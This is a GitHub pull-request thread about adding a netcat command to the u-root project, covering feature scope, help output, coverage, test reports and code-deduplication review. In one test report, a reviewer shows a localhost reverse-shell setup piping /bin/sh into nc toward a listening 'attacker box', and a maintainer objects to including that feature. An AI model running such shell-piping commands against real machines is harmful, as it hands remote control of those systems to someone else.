u-root icon indicating copy to clipboard operation
u-root copied to clipboard

cmd/core/netcat

Open leongross opened this issue 1 year ago • 3 comments

TODOs

Some netcat functionality may be outdated and not really necessary. They are marked using a (?)

  • [x] cli representation
  • [x] argument parsing
  • [ ] TLS
    • [x] TCP
    • [x] UDP
    • [ ] TLS Options
      • [x] Enabled
      • [x] CertFilePath
      • [x] KeyFilePath
      • [x] VerifyTrust
      • [x] TrustFilePath
      • [ ] Ciphers (?)
      • [x] SNI
      • [x] ALPN
  • [x] socket options (?)
  • [x] testing
  • [ ] Listen Options
    • [x] Max Connections
    • [x] KeepOpen
    • [ ] BrokerMode (?)
    • [ ] Chat Mode (?)
  • [x] AccessControl (allow, deny)
  • [x] CommandExec
    • [x] Native
    • [x] Shell
    • [ ] Lua (?)
  • [x] OutputOptions
    • [x] Outfile
    • [x] OutHex
    • [x] AppendOutput
    • [x] Verbose
  • [ ] Misc
    • [x] EOL character
    • [x] RecvOnly
    • [x] SendOnly
    • [x] NoShutdown
    • [x] NoDns
    • [ ] Telnet (?)
  • [x] Timing Options
    • [x] Delay
    • [x] Timeout
    • [x] Wait
  • [ ] Proxy (?)
    • [ ] Address
    • [ ] DNS
    • [ ] Type
    • [ ] AuthType
  • [ ] Connection Mode Options
    • [x] Source Host
    • [x] Source Port
    • [x] ZERO I/O
    • [ ] LooseSourceRouterPoints (?)
    • [ ] LooseSourcePointer (?)
  • [ ] tinygo adjustment
    • [ ] net.Dial is only implemented for "tcp", "tcp4", "udp", and "udp4".
    • [ ] Not more than <boardconfig> many connections

leongross avatar Jun 18 '24 08:06 leongross

There are some yet unimplemented options I would like to have more opinions on:

  • TCP, udp, UNIX are supported now. Do we want to support VSOCK and SCTP? If so we need to add more pkgs outside of stdlib.
  • Do we want to support broker and chat-mode? is there a use-case?
  • Telnet Support? -> external library and obscure
  • netcat got an inbuild lua-interpreter, so the exec-lua flag would require a lua interpreter
  • Do we want the proxy flags? golang.org/x/net/proxy would be needed
  • In my understanding LooseSourceRouterPoints & LooseSourcePointer would need some very low-level manipulation of IP-Headers. I would discourage from adding these flags.
  • SSL Cipher parsing of netcat is not straightforward: https://www.openssl.org/docs/man1.0.2/man1/ciphers.html

RiSKeD avatar Jun 19 '24 11:06 RiSKeD

Codecov Report

Attention: Patch coverage is 71.41268% with 257 lines in your changes missing coverage. Please review.

Project coverage is 59.39%. Comparing base (1cf952c) to head (379cc3e).

Additional details and impacted files
@@            Coverage Diff             @@
##             main    #3013      +/-   ##
==========================================
+ Coverage   59.11%   59.39%   +0.27%     
==========================================
  Files         534      547      +13     
  Lines       33452    34277     +825     
==========================================
+ Hits        19775    20358     +583     
- Misses      13677    13919     +242     
Flag Coverage Δ
.-amd64 90.69% <ø> (ø)
cmds/...-amd64 48.27% <55.42%> (+0.13%) :arrow_up:
integration/generic-tests/...-amd64 20.16% <ø> (ø)
integration/generic-tests/...-arm 11.69% <ø> (ø)
integration/generic-tests/...-arm64 24.46% <ø> (ø)
integration/gotests/...-amd64 62.51% <93.85%> (+0.56%) :arrow_up:
integration/gotests/...-arm 63.59% <93.85%> (+0.46%) :arrow_up:
integration/gotests/...-arm64 63.78% <93.85%> (+0.58%) :arrow_up:
pkg/...-amd64 60.35% <93.85%> (+0.63%) :arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Components Coverage Δ
everything 65.34% <71.41%> (+0.16%) :arrow_up:
cmds/exp 31.68% <ø> (ø)

codecov[bot] avatar Jun 25 '24 07:06 codecov[bot]

There are some yet unimplemented options I would like to have more opinions on:

  • TCP, udp, UNIX are supported now. Do we want to support VSOCK and SCTP? If so we need to add more pkgs outside of stdlib.

Yes for VSOCK, and SCTP

What are the packages needed here ? could you show how much binary size will increase by these two feature ?

  • Do we want to support broker and chat-mode? is there a use-case? Yes please.

frankly, I don't know of active use case from my end. But who knows if we put it out there

  • Telnet Support? -> external library and obscure

What are additional pkgs needed ? How much additional effort in days needed ?

if substantial, I think we can close the tab for first iteration w/o it, and follow up in second round.

  • netcat got an inbuild lua-interpreter, so the exec-lua flag would require a lua interpreter

I think we can shrug about this one. you may add the flag, but saying no lua interpreter found or sth.

  • Do we want the proxy flags? golang.org/x/net/proxy would be needed yes. -- ok to have this std pkg.
  • In my understanding LooseSourceRouterPoints & LooseSourcePointer would need some very low-level manipulation of IP-Headers. I would discourage from adding these flags. I'd say we want this. with some reading, I see opportunity on hacking with this, just not in any production deployed machine.

Let me know if this takes substantial amount of work / time. we can get to this in second round.

  • SSL Cipher parsing of netcat is not straightforward: https://www.openssl.org/docs/man1.0.2/man1/ciphers.html

what input do you need ? or this is a pure observation, and indicating this need additional time to investigate ?

10000TB avatar Jun 27 '24 21:06 10000TB

There are some yet unimplemented options I would like to have more opinions on:

  • TCP, udp, UNIX are supported now. Do we want to support VSOCK and SCTP? If so we need to add more pkgs outside of stdlib.

Yes for VSOCK, and SCTP What are the packages needed here ? could you show how much binary size will increase by these two feature ?

I have added support for VSOCK (over TCP) and SCTP. The binary increased from ~ 6157 KB to 6431 KB.

  • Do we want to support broker and chat-mode? is there a use-case? Yes please.

frankly, I don't know of active use case from my end. But who knows if we put it out there

Implemented both.

  • Telnet Support? -> external library and obscure

What are additional pkgs needed ? How much additional effort in days needed ?

  • In my understanding LooseSourceRouterPoints & LooseSourcePointer would need some very low-level manipulation of IP-Headers. I would discourage from adding these flags. I'd say we want this. with some reading, I see opportunity on hacking with this, just not in any production deployed machine.

This would both require some complete custom middlewares. I would argue that I will bring a lot of unwanted complexity and effort for little benefit. This could take at least a few days, I would like to rather spend the time adding more options to the IP cmd.

  • netcat got an inbuild lua-interpreter, so the exec-lua flag would require a lua interpreter

I think we can shrug about this one. you may add the flag, but saying no lua interpreter found or sth.

Done.

  • Do we want the proxy flags? golang.org/x/net/proxy would be needed yes. -- ok to have this std pkg.

Let me know if this takes substantial amount of work / time. we can get to this in second round.

I will add the proxy flags, should be relatively straightforward.

  • SSL Cipher parsing of netcat is not straightforward: https://www.openssl.org/docs/man1.0.2/man1/ciphers.html

what input do you need ? or this is a pure observation, and indicating this need additional time to investigate ?

We would need to implement a parser for translating the OpenSSL Cipher Spec into Ciphers that can be interpreted by the std-lib TLS pkg. I would estimate this to take a few days again.

RiSKeD avatar Jul 01 '24 11:07 RiSKeD

could you remove this extra print ? -- also we removed pflag in a recent PR (https://github.com/u-root/u-root/pull/3004), we should drop pflag here too.

pflag: help requested
error: exit status 2

from the end of netcat --help?

> netcat --help
Usage of netcat [go-style network address]:
      --allow strings                        Allow only comma-separated list of IP addresses
      --allowfile string                     A file of hosts allowed to connect to Ncat
      --append-output                        Append rather than clobber specified output files
      --broker                               Enable Ncat's connection brokering mode
      --chat                                 Start a simple Ncat chat server
  -C, --crlf                                 Use CRLF for EOL sequence
  -d, --delay string                         Wait between read/writes (default "0ms")
      --deny strings                         Deny given hosts from connecting to Ncat
      --denyfile string                      A file of hosts denied from connecting to Ncat
  -e, --exec string                          Executes the given command
  -x, --hex-dump string                      Dump session data as hex to a file
  -i, --idle-timeout string                  Idle read/write timeout (default "0ms")
  -4, --ipv4                                 Use IPv4 only
  -6, --ipv6                                 Use IPv6 only
  -k, --keep-open                            Accept multiple connections in listen mode
  -l, --listen                               Bind and listen for incoming connections
  -G, --loose-source-pointer uint            Loose source routing hop pointer (<n>)
  -g, --loose-source-router-points strings   Loose source routing hop points (8 max)
      --lua-exec string                      Executes the given Lua script (filepath argument)
  -m, --max-conns uint32                     Maximum <n> simultaneous connections (default 100)
      --no-shutdown                          Continue half-duplex when receiving EOF on stdin
  -n, --nodns                                Do not resolve hostnames via DNS
  -o, --output string                        Dump session data to a file
      --proxy string                         Specify address of host to proxy through (<addr[:port]> )
      --proxy-auth string                    Authenticate with HTTP or SOCKS proxy server
      --proxy-dns string                     Specify where to resolve proxy destination
      --proxy-type string                    Specify proxy type ('http', 'socks4', 'socks5')
      --recv-only                            Only receive data, never send anything
      --sctp                                 Use SCTP instead of default TCP
      --send-only                            Only send data, ignoring received; quit on EOF
  -c, --sh-exec string                       Executes the given command via /bin/sh
  -s, --source string                        Specify source address to use (doesn't affect -l)
  -p, --source-port string                   Specify source port to use (default "31337")
      --ssl                                  Connect or listen with SSL
      --ssl-alpn strings                     List of protocols to send via ALPN
      --ssl-cert string                      Specify SSL certificate file (PEM) for listening
      --ssl-ciphers strings                  Cipherlist containing SSL ciphers to use
      --ssl-key string                       Specify SSL private key file (PEM) for listening
      --ssl-servername string                Request distinct server name (SNI)
      --ssl-trustfile string                 PEM file containing trusted SSL certificates
      --ssl-verify                           Verify trust and domain name of certificates
  -t, --telnet                               Answer Telnet negotiations
  -u, --udp                                  Use UDP instead of default TCP
  -U, --unixsock                             Use Unix domain sockets only
  -v, --v                                    Set verbosity level (can not be used several times)
      --vsock                                Use virtual circuit (stream) sockets only
  -w, --wait string                          Connect timeout (default "10s")
  -z, --z                                    zero-I/O mode, report connection status only
pflag: help requested
error: exit status 2

10000TB avatar Jul 04 '24 20:07 10000TB

could you remove this extra print ? -- also we removed pflag in a recent PR (#3004), we should drop pflag here too.

pflag: help requested
error: exit status 2

from the end of netcat --help?

> netcat --help
Usage of netcat [go-style network address]:
      --allow strings                        Allow only comma-separated list of IP addresses
      --allowfile string                     A file of hosts allowed to connect to Ncat
      --append-output                        Append rather than clobber specified output files
      --broker                               Enable Ncat's connection brokering mode
      --chat                                 Start a simple Ncat chat server
  -C, --crlf                                 Use CRLF for EOL sequence
  -d, --delay string                         Wait between read/writes (default "0ms")
      --deny strings                         Deny given hosts from connecting to Ncat
      --denyfile string                      A file of hosts denied from connecting to Ncat
  -e, --exec string                          Executes the given command
  -x, --hex-dump string                      Dump session data as hex to a file
  -i, --idle-timeout string                  Idle read/write timeout (default "0ms")
  -4, --ipv4                                 Use IPv4 only
  -6, --ipv6                                 Use IPv6 only
  -k, --keep-open                            Accept multiple connections in listen mode
  -l, --listen                               Bind and listen for incoming connections
  -G, --loose-source-pointer uint            Loose source routing hop pointer (<n>)
  -g, --loose-source-router-points strings   Loose source routing hop points (8 max)
      --lua-exec string                      Executes the given Lua script (filepath argument)
  -m, --max-conns uint32                     Maximum <n> simultaneous connections (default 100)
      --no-shutdown                          Continue half-duplex when receiving EOF on stdin
  -n, --nodns                                Do not resolve hostnames via DNS
  -o, --output string                        Dump session data to a file
      --proxy string                         Specify address of host to proxy through (<addr[:port]> )
      --proxy-auth string                    Authenticate with HTTP or SOCKS proxy server
      --proxy-dns string                     Specify where to resolve proxy destination
      --proxy-type string                    Specify proxy type ('http', 'socks4', 'socks5')
      --recv-only                            Only receive data, never send anything
      --sctp                                 Use SCTP instead of default TCP
      --send-only                            Only send data, ignoring received; quit on EOF
  -c, --sh-exec string                       Executes the given command via /bin/sh
  -s, --source string                        Specify source address to use (doesn't affect -l)
  -p, --source-port string                   Specify source port to use (default "31337")
      --ssl                                  Connect or listen with SSL
      --ssl-alpn strings                     List of protocols to send via ALPN
      --ssl-cert string                      Specify SSL certificate file (PEM) for listening
      --ssl-ciphers strings                  Cipherlist containing SSL ciphers to use
      --ssl-key string                       Specify SSL private key file (PEM) for listening
      --ssl-servername string                Request distinct server name (SNI)
      --ssl-trustfile string                 PEM file containing trusted SSL certificates
      --ssl-verify                           Verify trust and domain name of certificates
  -t, --telnet                               Answer Telnet negotiations
  -u, --udp                                  Use UDP instead of default TCP
  -U, --unixsock                             Use Unix domain sockets only
  -v, --v                                    Set verbosity level (can not be used several times)
      --vsock                                Use virtual circuit (stream) sockets only
  -w, --wait string                          Connect timeout (default "10s")
  -z, --z                                    zero-I/O mode, report connection status only
pflag: help requested
error: exit status 2

Thanks for the review and testing. I've dropped the pflag as requested. I will fix-up the issues as requested and report back to you.

RiSKeD avatar Jul 08 '24 05:07 RiSKeD

Thanks for your testing!

I did a few tests, and it seems there are a few functionality not working on my end when I tried it,

(1) port scan --> does not work

(2) basic port scan via host name --> does not work

I added the capabilities for either variant: Screenshot from 2024-07-08 10-38-31

But I've disabled port scanning if not zero I/O mode is specified because IMO I/O accesses and port scanning are two different utilities of ncat.

(3) Chat / Web Server --> does not work. It looks like flag specified port is not used, and default port (as specified in pkg/netcat/const.go) is always used,

I've done a small fix, but chat mode should work as intended. The listener's port is not provided via -p but as a normal argument in listener mode. Can you try again like this?

Screenshot from 2024-07-08 10-35-51

(4): TCP Server and Client e.g. file transfer does not work, port passed from flag not honoured.

This scenario works for me:

Screenshot from 2024-07-08 10-50-45

(5) reverse shell -- does not work, complaining about DNS mode disabled.

xuehaohu@worldpeace2:~/go/src/github.com/linuxboot/linuxboot/mainboards/qemu/x86_64/bkp$ sudo ./bbin/bb netcat -lnvp 6666
[sudo] password for xuehaohu:
2024/07/04 21:10:39 error: failed to setup listener: disabling DNS resolution is not supported in listen mode
xuehaohu@worldpeace2:~/go/src/github.com/linuxboot/linuxboot/mainboards/qemu/x86_64/bkp$

On an ubuntu

(one terminal, simulating attacker box, listening)

xuehaohu@worldpeace:~$ sudo nc -lnvp 6666
Listening on 0.0.0.0 6666

(hanging here, before attacker box issue any cmds)

Connection received on 127.0.0.1 52712
archivist_backup_240614_113429
go
testdir
/usr/local/google/home/xuehaohu

(another terminal on same machine, simulating target machine)

xuehaohu@worldpeace:~$
xuehaohu@worldpeace:~$
xuehaohu@worldpeace:~$ /bin/sh | nc 127.0.0.1 6666
sh-5.2$ ls
sh-5.2$ pwd
sh-5.2$

This works for me, can you check again with the new parsing? To my knowledge the -n and -p flags are not being used in this scenario right?

Screenshot from 2024-07-08 10-55-39

RiSKeD avatar Jul 08 '24 08:07 RiSKeD

Thanks for your testing!

I did a few tests, and it seems there are a few functionality not working on my end when I tried it,

(1) port scan --> does not work

(2) basic port scan via host name --> does not work

I added the capabilities for either variant:

Screenshot from 2024-07-08 10-38-31

But I've disabled port scanning if not zero I/O mode is specified because IMO I/O accesses and port scanning are two different utilities of ncat.

(3) Chat / Web Server --> does not work. It looks like flag specified port is not used, and default port (as specified in pkg/netcat/const.go) is always used,

I've done a small fix, but chat mode should work as intended. The listener's port is not provided via -p but as a normal argument in listener mode. Can you try again like this?

Screenshot from 2024-07-08 10-35-51

(4): TCP Server and Client e.g. file transfer does not work, port passed from flag not honoured.

This scenario works for me:

Screenshot from 2024-07-08 10-50-45

(5) reverse shell -- does not work, complaining about DNS mode disabled.

xuehaohu@worldpeace2:~/go/src/github.com/linuxboot/linuxboot/mainboards/qemu/x86_64/bkp$ sudo ./bbin/bb netcat -lnvp 6666

[sudo] password for xuehaohu:

2024/07/04 21:10:39 error: failed to setup listener: disabling DNS resolution is not supported in listen mode

xuehaohu@worldpeace2:~/go/src/github.com/linuxboot/linuxboot/mainboards/qemu/x86_64/bkp$

On an ubuntu

(one terminal, simulating attacker box, listening)

xuehaohu@worldpeace:~$ sudo nc -lnvp 6666

Listening on 0.0.0.0 6666

(hanging here, before attacker box issue any cmds)

Connection received on 127.0.0.1 52712

archivist_backup_240614_113429

go

testdir

/usr/local/google/home/xuehaohu

(another terminal on same machine, simulating target machine)

xuehaohu@worldpeace:~$

xuehaohu@worldpeace:~$

xuehaohu@worldpeace:~$ /bin/sh | nc 127.0.0.1 6666

sh-5.2$ ls

sh-5.2$ pwd

sh-5.2$

This works for me, can you check again with the new parsing?

To my knowledge the -n and -p flags are not being used in this scenario right?

Screenshot from 2024-07-08 10-55-39

Ack. Will give it a try

10000TB avatar Jul 08 '24 11:07 10000TB

Please make sure to use the latest commit, I added some checks to write/reads which should provide more stability.

RiSKeD avatar Jul 08 '24 13:07 RiSKeD

why on earth are we putting reverse shell in?

rminnich avatar Jul 08 '24 16:07 rminnich

There's a LOT of common code in, e.g., the connect code for windows and linux. In fact here's the only difference:

							      >		if c.config.ProxyConfig.Enabled {
							      >			proxyDialer, err := c.proxyDialer(dialer)
							      >			if err != nil {
							      >				return nil, fmt.Errorf("connection: %
							      >			}
							      >
							      >			conn, err = proxyDialer.Dial(network, address
							      >			if err != nil {
							      >				return nil, fmt.Errorf("connection: %
							      >			}

suggestion: move most of this common code to connect.go, and have a function: func proxyDial(...) in connect_linux.go, which does this different code, and in connect_other.go, which has a build tag of !linux, which just returns EOPNOTSUPPORT

all this copy-pasta code in these files is going to ge painful to track as time goes by.

For sure, there has to be a better way to do this:

diff listen_linux.go listen_windows.go
35a36,39
> 	if c.config.Misc.NoDNS {
> 		return nil, fmt.Errorf("disabling DNS resolution is not supported in listen mode")
> 	}
>

that's 78 lines of code which is the same, and 4 lines different. It would be nice not to have all the duplicated code.

rminnich avatar Jul 08 '24 16:07 rminnich

reverse shell just seems such a bad idea.

rminnich avatar Jul 08 '24 20:07 rminnich

I'm pretty tempted to say "take out plan 9 support for netcat" because the number of options, and what they enable, just seems so un-Unix and un-Plan 9 like.

my original netcat was deliberately written to do as little as possible, this thing is ... phew. telnet support? Lua interpreter? reverse shell? wtf is this?

rminnich avatar Jul 08 '24 20:07 rminnich

Telnet Support and the Lua interpreter will both not be included.

RiSKeD avatar Jul 09 '24 08:07 RiSKeD

isn't there some way to dedup all these big blocks of code?

The difference between plan9 and Linux/windows is now more granular. Only on the SCTP socket options are a few lines of code different between each platform (for both connect and listen mode). The diff between linux & windows was an error on my side, both impl. are the same now.

RiSKeD avatar Jul 09 '24 09:07 RiSKeD

why on earth are we putting reverse shell in?

some of those functionality is indeed absurd if we think about where we will use it based on our boot use cases.

Goal was made simple to "reach parity" with GNU core utilities.

Frankly no idea when and who will use it.

@rminnich Ron I think you brought up an argument in an earlier meeting that "who knows, if we just throw it out there" for a discussion where we tried to remove a feature in another command. I agreed. So I am hoping to enforce a consistent standard.

10000TB avatar Jul 10 '24 06:07 10000TB

I've refactored the code as requested. Is anything blocking the merging of this?

RiSKeD avatar Jul 18 '24 07:07 RiSKeD